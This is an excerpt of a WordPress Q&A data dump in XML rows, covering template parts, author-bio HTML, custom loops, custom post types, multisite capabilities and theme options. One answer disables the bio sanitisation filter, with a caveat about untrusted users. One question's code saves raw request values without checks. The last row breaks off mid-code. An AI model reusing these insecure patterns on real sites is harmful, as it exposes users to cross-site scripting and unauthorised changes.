  <row Id="21325" PostTypeId="2" ParentId="21321" CreationDate="2011-06-28T15:46:11.190" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if ( condition ) &#xA;{&#xA;    get_template_part( 'path/to/template', 'mobile' );&#xA;}&#xA;else&#xA;{&#xA;    get_template_part( 'template', 'mobile' ); // in rootpath&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also intercept the behavior for &lt;code&gt;get_template_part()&lt;/code&gt; with an action hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Source in get_template_part&#xA;do_action( &quot;get_template_part_{$slug}&quot;, $slug, $name );&#xA;&#xA;function wpse21352_template_part_cb( $slug, $name )&#xA;{&#xA;    switch ( $name ) &#xA;    {&#xA;        case 'mobile' :&#xA;            $slug = 'mobile/'.$slug;&#xA;            break;&#xA;&#xA;        case 'tablet' :&#xA;            $slug = 'tablet/'.$slug;&#xA;            break;&#xA;    }&#xA;    return $slug;&#xA;}&#xA;&#xA;// Now attach the above function to get_template_part()&#xA;function wpse21352_template_actions()&#xA;{&#xA;    $wpse21352_mobile_files = array(&#xA;         'header'&#xA;        ,'logo'&#xA;        ,'content'&#xA;        // ,'etc...'&#xA;    );&#xA;&#xA;    foreach ( $wpse21352_mobile_files as $slug )&#xA;        add_action( 'wpse21352_template_part_cb', 'get_template_part_'.$slug, 10, 2 );&#xA;}&#xA;add_action( 'after_setup_theme', 'wpse21352_template_actions' ); // maybe some other hook&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; As to @Otto comment, &lt;code&gt;locate_template()&lt;/code&gt; might be a better choice for subdirectories. Please read the comments.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-07T20:49:12.057" LastActivityDate="2011-07-07T20:49:12.057" CommentCount="11" />
  <row Id="21326" PostTypeId="1" AcceptedAnswerId="21328" CreationDate="2011-06-28T15:46:27.740" Score="1" ViewCount="114" Body="&lt;p&gt;Is there a way to prevent WP from stripping the HTML from the author bio? I need it to keep my paragraphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - Although this question has been answered, I will clarify that I was referring to the Bio textarea when editing individual users.&lt;/p&gt;&#xA;" OwnerUserId="6161" LastEditorUserId="6161" LastEditorDisplayName="" LastEditDate="2011-06-28T16:29:27.877" LastActivityDate="2011-06-28T16:29:27.877" Title="How can HTML be allowed in Author Bio?" Tags="&lt;author&gt;&lt;html&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21327" PostTypeId="1" AcceptedAnswerId="21329" CreationDate="2011-06-28T16:02:46.777" Score="0" ViewCount="54" Body="&lt;p&gt;I have this custom loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Display the top ones&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'reply',&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;        'r_sortby' =&amp;gt; 'highest_rated',&#xA;        'r_orderby' =&amp;gt; 'desc',&#xA;        'order' =&amp;gt; 'DESC'&#xA;    );&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;entry-list-top&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;h2 class=&quot;dark-title&quot;&amp;gt;&amp;lt;?php _e( 'Top Replies' ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;topic-entry&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;topic-author&quot;&amp;gt;&#xA;            &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'avatar' ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;topic-content&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;topic-author-link&quot;&amp;gt;&amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'name' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;            &amp;lt;span class=&quot;topic-post-date&quot;&amp;gt;&amp;lt;?php printf( __( '&amp;lt;span&amp;gt;%1$s&amp;lt;/span&amp;gt; &amp;lt;span&amp;gt;at %2$s&amp;lt;/span&amp;gt;', 'bbpress' ), get_the_date(), esc_attr( get_the_time() ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;?php bbp_reply_content(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;tt-like-button&quot;&amp;gt;&#xA;            &amp;lt;?php if(function_exists('the_ratings')) { the_ratings(); } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php $most_voted[] = get_the_ID(); // get the id of the most voted post ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to retrieve the number of posts (only in this loop).&#xA;(The is another loop below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-06-28T16:18:59.460" Title="Displaying the number of posts in a custom loop (without including the number of posts of a loop below)?" Tags="&lt;posts&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="21328" PostTypeId="2" ParentId="21326" CreationDate="2011-06-28T16:04:47.370" Score="1" ViewCount="" Body="&lt;p&gt;remove the filter that formats the description. put this in your theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('pre_user_description', 'wp_filter_kses');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - I should mention, if you allow random people to register and add their own bio for display on the site, not filtering that text could enable bad things.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-28T16:04:47.370" CommentCount="2" />
  <row Id="21329" PostTypeId="2" ParentId="21327" CreationDate="2011-06-28T16:09:55.770" Score="2" ViewCount="" Body="&lt;p&gt;Just count the number of returned posts of the first loop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$posts = query_posts( $args );&#xA;$count = count($posts);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-28T16:18:59.460" LastActivityDate="2011-06-28T16:18:59.460" CommentCount="2" />
  <row Id="21330" PostTypeId="2" ParentId="19675" CreationDate="2011-06-28T16:20:43.233" Score="0" ViewCount="" Body="&lt;p&gt;It's very likely you have some kind of collusion somewhere. Is it possible you have something like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;register_post_type( 'balloon', $args );&lt;/code&gt; and also &lt;code&gt;register_taxonomy( 'balloon', array('balloon'), $args );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the code below. It's a complete plugin. Compare this with your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;  @Plugin Name: Balloons - Balloons Directory&#xA;  @Plugin URI: http://azizur-rahman.co.uk/&#xA;  @Description: Balloons Directory Manager&#xA;  @Author: Azizur Rahman&#xA;  @Version: 1.0&#xA;  @Author URI: http://azizur-rahman.co.uk/&#xA;  @package balloons&#xA; */&#xA;&#xA;add_action( 'init', 'azizur_register_cpt_balloons' );&#xA;&#xA;function azizur_register_cpt_balloons() {&#xA;&#xA;    $labels = array( &#xA;        'name' =&amp;gt; _x( 'balloons', 'balloons' ),&#xA;        'singular_name' =&amp;gt; _x( 'balloon', 'balloons' ),&#xA;        'add_new' =&amp;gt; _x( 'Add New', 'balloons' ),&#xA;        'add_new_item' =&amp;gt; _x( 'Add New balloon', 'balloons' ),&#xA;        'edit_item' =&amp;gt; _x( 'Edit balloon', 'balloons' ),&#xA;        'new_item' =&amp;gt; _x( 'New balloon', 'balloons' ),&#xA;        'view_item' =&amp;gt; _x( 'View balloon', 'balloons' ),&#xA;        'search_items' =&amp;gt; _x( 'Search balloons', 'balloons' ),&#xA;        'not_found' =&amp;gt; _x( 'No balloons found', 'balloons' ),&#xA;        'not_found_in_trash' =&amp;gt; _x( 'No balloons found in Trash', 'balloons' ),&#xA;        'parent_item_colon' =&amp;gt; _x( 'Parent balloon:', 'balloons' ),&#xA;        'menu_name' =&amp;gt; _x( 'balloons', 'balloons' ),&#xA;    );&#xA;&#xA;    $args = array( &#xA;        'labels' =&amp;gt; $labels,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'description' =&amp;gt; 'balloons content type',&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'excerpt', 'author', 'thumbnail', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ),&#xA;//        'taxonomies' =&amp;gt; array( 'page-category', 'balloon-category' ),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;&#xA;&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'exclude_from_search' =&amp;gt; false,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'can_export' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post'&#xA;    );&#xA;&#xA;    register_post_type( 'balloons', $args );&#xA;}&#xA;&#xA;&#xA;add_action( 'init', 'azizur_register_taxonomy_balloon_types' );&#xA;&#xA;function azizur_register_taxonomy_balloon_types() {&#xA;&#xA;    $labels = array( &#xA;        'name' =&amp;gt; _x( 'Balloon Types', 'balloon types' ),&#xA;        'singular_name' =&amp;gt; _x( 'Balloon Type', 'balloon types' ),&#xA;        'search_items' =&amp;gt; _x( 'Search Balloon Type', 'balloon types' ),&#xA;        'popular_items' =&amp;gt; _x( 'Popular Balloon Type', 'balloon types' ),&#xA;        'all_items' =&amp;gt; _x( 'All Balloon Type', 'balloon types' ),&#xA;        'parent_item' =&amp;gt; _x( 'Parent Balloon Types', 'balloon types' ),&#xA;        'parent_item_colon' =&amp;gt; _x( 'Parent Balloon Types:', 'balloon types' ),&#xA;        'edit_item' =&amp;gt; _x( 'Edit Balloon Types', 'balloon types' ),&#xA;        'update_item' =&amp;gt; _x( 'Update Balloon Types', 'balloon types' ),&#xA;        'add_new_item' =&amp;gt; _x( 'Add New Balloon Types', 'balloon types' ),&#xA;        'new_item_name' =&amp;gt; _x( 'New Balloon Types Name', 'balloon types' ),&#xA;        'separate_items_with_commas' =&amp;gt; _x( 'Separate balloon type with commas', 'balloon types' ),&#xA;        'add_or_remove_items' =&amp;gt; _x( 'Add or remove balloon type', 'balloon types' ),&#xA;        'choose_from_most_used' =&amp;gt; _x( 'Choose from the most used balloon type', 'balloon types' ),&#xA;        'menu_name' =&amp;gt; _x( 'Balloon Types', 'balloon types' ),&#xA;    );&#xA;&#xA;    $args = array( &#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_in_nav_menus' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_tagcloud' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; true,&#xA;&#xA;        'rewrite' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true&#xA;    );&#xA;&#xA;    register_taxonomy( 'balloon_types', array('balloons'), $args );&#xA;}&#xA;&#xA;function azizur_balloons_cpt_rewrite_flush() {&#xA;  flush_rewrite_rules();&#xA;}&#xA;register_activation_hook(__FILE__, 'azizur_balloons_cpt_rewrite_flush');&#xA;register_deactivation_hook(__FILE__, 'azizur_balloons_cpt_rewrite_flush');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-28T16:20:43.233" CommentCount="4" />
  <row Id="21331" PostTypeId="1" CreationDate="2011-06-28T16:25:04.417" Score="0" ViewCount="42" Body="&lt;p&gt;Is there anything that I can do to the template so that when linking to a post in sites like LinkedIn I get by default the title of the post and an excerpt rather than the blog's title and the description of the blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6564" LastActivityDate="2011-06-28T16:25:04.417" Title="How to fix template so that linking to a post from LinkedIn shows title and excerpt rather than blog's generic info" Tags="&lt;excerpt&gt;&lt;title&gt;" CommentCount="1" />
  <row Id="21333" PostTypeId="1" AcceptedAnswerId="21336" CreationDate="2011-06-28T16:50:31.810" Score="0" ViewCount="54" Body="&lt;p&gt;I'm developing a theme which supports WordPress' post formats.  As a result I am using a big if statement, which can be found below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I would like to link my post titles to the posts while maintaining my theme as XHTML valid.&lt;/li&gt;&#xA;&lt;li&gt;I would like to call images (with classes) in the if statement while maintaining my theme as XHTML valid.&lt;/li&gt;&#xA;&lt;li&gt;I would appreciate if somebody could add the appropriate code to the following code to do so&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;_&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( 'video' )) {&#xA;                echo the_title();&#xA;                echo the_excerpt();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Basically, the most important thing I'm looking for is that it calls the post name as a link which links to the actual post.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6565" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-28T17:42:37.447" LastActivityDate="2011-07-15T15:16:58.967" Title="Calling Permalinks With PHP" Tags="&lt;posts&gt;&lt;excerpt&gt;" AnswerCount="3" />
  <row Id="21334" PostTypeId="1" CreationDate="2011-06-28T16:59:19.270" Score="0" ViewCount="98" Body="&lt;p&gt;I have a few sites in a network. I don't want the site administrators to manage things like network plugins, but I would like them to be able to edit profiles of all network users, not use those on their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of the &lt;code&gt;/wp-admin/network/users.php&lt;/code&gt; file is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;if ( ! current_user_can( 'manage_network_users' ) )&#xA;    wp_die( __( 'You do not have permission to access this page.' ) );&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I grant site administrators priviledges to &lt;code&gt;manage_network_users&lt;/code&gt; without promoting them to Super Admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the code is looking like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;/**&#xA; * Retrieve a list of super admins.&#xA; *&#xA; * @since 3.0.0&#xA; *&#xA; * @uses $super_admins Super admins global variable, if set.&#xA; *&#xA; * @return array List of super admin logins&#xA; */&#xA;function get_super_admins() {&#xA;    global $super_admins;&#xA;&#xA;    if ( isset($super_admins) )&#xA;        return $super_admins;&#xA;    else&#xA;        return get_site_option( 'site_admins', array('admin') );&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;/**&#xA; * Determine if user is a site admin.&#xA; *&#xA; * @since 3.0.0&#xA; *&#xA; * @param int $user_id (Optional) The ID of a user. Defaults to the current user.&#xA; * @return bool True if the user is a site admin.&#xA; */&#xA;function is_super_admin( $user_id = false ) {&#xA;    if ( $user_id )&#xA;        $user = new WP_User( $user_id );&#xA;    else&#xA;        $user = wp_get_current_user();&#xA;&#xA;    if ( empty( $user-&gt;id ) )&#xA;        return false;&#xA;&#xA;    if ( is_multisite() ) {&#xA;        $super_admins = get_super_admins();&#xA;        if ( is_array( $super_admins ) &amp;&amp; in_array( $user-&gt;user_login, $super_admins ) )&#xA;            return true;&#xA;    } else {&#xA;        if ( $user-&gt;has_cap('delete_users') )&#xA;            return true;&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    /**&#xA;     * Whether user has capability or role name.&#xA;     *&#xA;     * This is useful for looking up whether the user has a specific role&#xA;     * assigned to the user. The second optional parameter can also be used to&#xA;     * check for capabilities against a specfic post.&#xA;     *&#xA;     * @since 2.0.0&#xA;     * @access public&#xA;     *&#xA;     * @param string|int $cap Capability or role name to search.&#xA;     * @param int $post_id Optional. Post ID to check capability against specific post.&#xA;     * @return bool True, if user has capability; false, if user does not have capability.&#xA;     */&#xA;    function has_cap( $cap ) {&#xA;#       fb($cap);&#xA;        if ( is_numeric( $cap ) ) {&#xA;            _deprecated_argument( __FUNCTION__, '2.0', __('Usage of user levels by plugins and themes is deprecated. Use roles and capabilities instead.') );&#xA;            $cap = $this-&gt;translate_level_to_cap( $cap );&#xA;        }&#xA;&#xA;        $args = array_slice( func_get_args(), 1 );&#xA;        $args = array_merge( array( $cap, $this-&gt;ID ), $args );&#xA;        $caps = call_user_func_array( 'map_meta_cap', $args );&#xA;&#xA;        // Multisite super admin has all caps by definition, Unless specifically denied.&#xA;        if ( is_multisite() &amp;&amp; is_super_admin( $this-&gt;ID ) ) {&#xA;            if ( in_array('do_not_allow', $caps) )&#xA;                return false;&#xA;            return true;&#xA;        }&#xA;&#xA;        // Must have ALL requested caps&#xA;        $capabilities = apply_filters( 'user_has_cap', $this-&gt;allcaps, $caps, $args );&#xA;        $capabilities['exist'] = true; // Everyone is allowed to exist&#xA;        foreach ( (array) $caps as $cap ) {&#xA;            //echo &quot;Checking cap $cap&lt;br /&gt;&quot;;&#xA;            if ( empty( $capabilities[$cap] ) || !$capabilities[$cap] )&#xA;                return false;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code from users.php in wp-admin showing a second capability check for editing network users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// Only allow super admins on multisite to edit every user.&#xA;if ( is_multisite() &amp;&amp; ! current_user_can( 'manage_network_users' ) &amp;&amp; $user_id != $current_user-&gt;ID &amp;&amp; ! apply_filters( 'enable_edit_any_user_configuration', true ) )&#xA;    wp_die( __( 'You do not have permission to edit this user.' ) );&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="4400" LastEditorUserId="4400" LastEditorDisplayName="" LastEditDate="2011-06-30T11:53:29.903" LastActivityDate="2011-06-30T11:53:29.903" Title="How can I let a site administrator manage network users (on MultiSite)?" Tags="&lt;multisite&gt;&lt;wp-admin&gt;&lt;roles&gt;&lt;capabilities&gt;&lt;privileges&gt;" CommentCount="8" />
  <row Id="21335" PostTypeId="2" ParentId="18865" CreationDate="2011-06-28T17:00:22.153" Score="0" ViewCount="" Body="&lt;p&gt;Your includes are somewhat incorrect, and also you're missing some other key information that makes up a post (but maybe not a page). On the whole, you're on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the script jwz created (and I helped him fix up) to see how to make a post via command line. You can extend the idea to make pages too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jwz.org/hacks/wppost.php&quot; rel=&quot;nofollow&quot;&gt;http://www.jwz.org/hacks/wppost.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jwz.org/blog/2011/03/wordpress-help/&quot; rel=&quot;nofollow&quot;&gt;http://www.jwz.org/blog/2011/03/wordpress-help/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-28T17:00:22.153" />
  <row Id="21336" PostTypeId="2" ParentId="21333" CreationDate="2011-06-28T17:06:31.227" Score="1" ViewCount="" Body="&lt;p&gt;I don't know what you mean by &quot;call images&quot;, but this will display the title as a link.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( 'video' )) {&#xA;   ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php &#xA;   the_excerpt();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-06-28T19:18:59.480" LastActivityDate="2011-06-28T19:18:59.480" CommentCount="2" />
  <row Id="21337" PostTypeId="1" AcceptedAnswerId="21542" CreationDate="2011-06-28T17:08:42.623" Score="2" ViewCount="163" Body="&lt;p&gt;Before I call the_excerpt(), the_permalink() displays the correct thing. Afterwards, it does not...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php &#xA;            global $query_string;&#xA;&#xA;            //strip out the &quot;pagename=blog&quot; so that the query will grab all of the posts instead of the content of the blog page&#xA;            $query_string = preg_replace(&quot;/pagename=[a-zA-Z0-9]*/&quot;, &quot;&quot;, $query_string);&#xA;            query_posts( $query_string . &quot;posts_per_page=3&quot; );&#xA;&#xA;            if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;li class=&quot;post-listing&quot;&amp;gt; &#xA;                        &amp;lt;div class=&quot;no-col&quot;&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt; &#xA;                            &amp;lt;p class=&quot;meta&quot;&amp;gt;Posted on &amp;lt;?php print get_the_date(); ?&amp;gt; by &amp;lt;?php the_author(); ?&amp;gt; in &amp;lt;?php the_category(', ') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;!--&#xA;                        &amp;lt;?php the_permalink(); ?&amp;gt;&#xA;                        --&amp;gt;&#xA;&#xA;                            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                        &amp;lt;!--&#xA;                        &amp;lt;?php the_permalink(); ?&amp;gt;&#xA;                        --&amp;gt;&#xA;&#xA;                            &amp;lt;p class=&quot;meta&quot;&amp;gt;&amp;lt;?php the_tags('') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;div class=&quot;navigation&quot;&amp;gt;&amp;lt;a class=&quot;alignright&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;READ MORE &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt; &#xA;            &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;?php _e('Sorry, no posts matched your criteria.'); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a page called &quot;blog.php&quot; that I have defined as a Template named &quot;blog&quot; that people can apply to a page they create (so that they can have a blog listing page, I know there is probably a better way, but this is the solution that was gone with for various reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working just fine, but now (a month after I wrote it) it suddenly stopped working. I have narrowed the problem (I think) down to the the_excerpt() call. The permalink displays fine before that, but afterwards craps out and instead displays the permalink for the blog.php page... I think that the_excerpt() is throwing everything completely out of &quot;The Loop&quot; and then the current post it sees just becomes the page that uses the blog.php template (it spits the contents of that page out and then stops as if that page were the last post in The Loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also happens if I replace &quot;the_excerpt()&quot; with &quot;the_content()&quot; or &quot;get_the_excerpt()&quot;&lt;/p&gt;&#xA;" OwnerUserId="5719" LastEditorUserId="5719" LastEditorDisplayName="" LastEditDate="2011-06-29T04:03:21.810" LastActivityDate="2011-06-30T02:57:13.700" Title="the_excerpt(), get_the_excerpt() and the_content() all killing &quot;the Loop&quot;" Tags="&lt;the-loop&gt;&lt;the-content&gt;&lt;the-excerpt&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21338" PostTypeId="2" ParentId="11659" CreationDate="2011-06-28T17:09:15.550" Score="1" ViewCount="" Body="&lt;p&gt;I can't figure out how to setup this code. I've been dabbling with PHP for a while, but I'm only recently trying to go deeper into how all the WordPress stuff works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand what &quot;Attention! Code above is something like:&quot; means. Does that mean we put the previous code below it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you be able to do a quick newbie explanation of all the steps? That would be highly appreciated! Also, is there a way to make it so instead of showing the top posts from the entire site, it shows the top posts in each category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again@&lt;/p&gt;&#xA;" OwnerUserId="6566" LastActivityDate="2011-06-28T17:09:15.550" />
  <row Id="21339" PostTypeId="2" ParentId="21333" CreationDate="2011-06-28T17:11:39.903" Score="0" ViewCount="" Body="&lt;p&gt;You only need to add in the &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt; to link the post and also add the title as the visible part of the link. Also you can replace &lt;code&gt;&amp;lt;?php the_title();?&amp;gt;&lt;/code&gt; for a thumbnail (with the correct funct.) or an image, a video, a button, etc. and another kind of php stament as well &lt;code&gt;&amp;lt;?php your_function(your args);?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your other question goes, I think that you'll need to add a category for videos and make an special CSS for that. I'll leave two posts, they are in spanish but they are really useful and they work very well: first how to add a different structure &lt;a href=&quot;http://www.dinvaders.com/wordpress-como-hacer-un-template-diferente-para-cada-categoria/&quot; rel=&quot;nofollow&quot;&gt;How to: different structure per category&lt;/a&gt; and then how to style it &lt;a href=&quot;http://www.dinvaders.com/wordpress-diferentes-estilos-css-por-categoria/&quot; rel=&quot;nofollow&quot;&gt;How to: style each category differently&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you find this response helpful ^^&lt;/p&gt;&#xA;" OwnerUserId="6567" LastActivityDate="2011-06-28T17:11:39.903" CommentCount="1" />
  <row Id="21340" PostTypeId="1" CreationDate="2011-06-28T17:32:33.250" Score="0" ViewCount="52" Body="&lt;p&gt;In my functions.php I have an array named $options. Currently I am declaring two variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$themename = &quot;Sleek v0.1&quot;;&#xA;$shortname = &quot;sleek&quot;;&#xA;$options = array (&#xA;&#xA;/*Declare the variables needed*/&#xA;array( &quot;name&quot; =&amp;gt; &quot;Back-End Configuration Page&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;Call Analytics Number&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the call tracking number for the marketing campaign.&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_phone_number&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;(888) 555-5555&quot;),&#xA;&#xA;array( &quot;name&quot; =&amp;gt; &quot;MerchEngines Customer ID&quot;,&#xA;&quot;desc&quot; =&amp;gt; &quot;This is the Customer ID in the MerchEngines dashboard&quot;,&#xA;&quot;id&quot; =&amp;gt; $shortname.&quot;_cust_id&quot;,&#xA;&quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;&quot;std&quot; =&amp;gt; &quot;0000&quot;),&#xA;&#xA;&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a function which stores each value in the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_add_admin() {&#xA;&#xA;global $themename, $shortname, $options;&#xA;&#xA;if ( $_GET['page'] == basename(__FILE__) ) {&#xA;    if ( 'save' == $_REQUEST['action'] ) {&#xA;        foreach ($options as $value) {&#xA;        update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }&#xA;        foreach ($options as $value) {&#xA;    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }&#xA;&#xA;header(&quot;Location: themes.php?page=functions.php&amp;amp;saved=true&quot;);&#xA;die;&#xA;&#xA;    } else if( 'reset' == $_REQUEST['action'] ) {&#xA;        foreach ($options as $value) {&#xA;        delete_option( $value['id'] ); 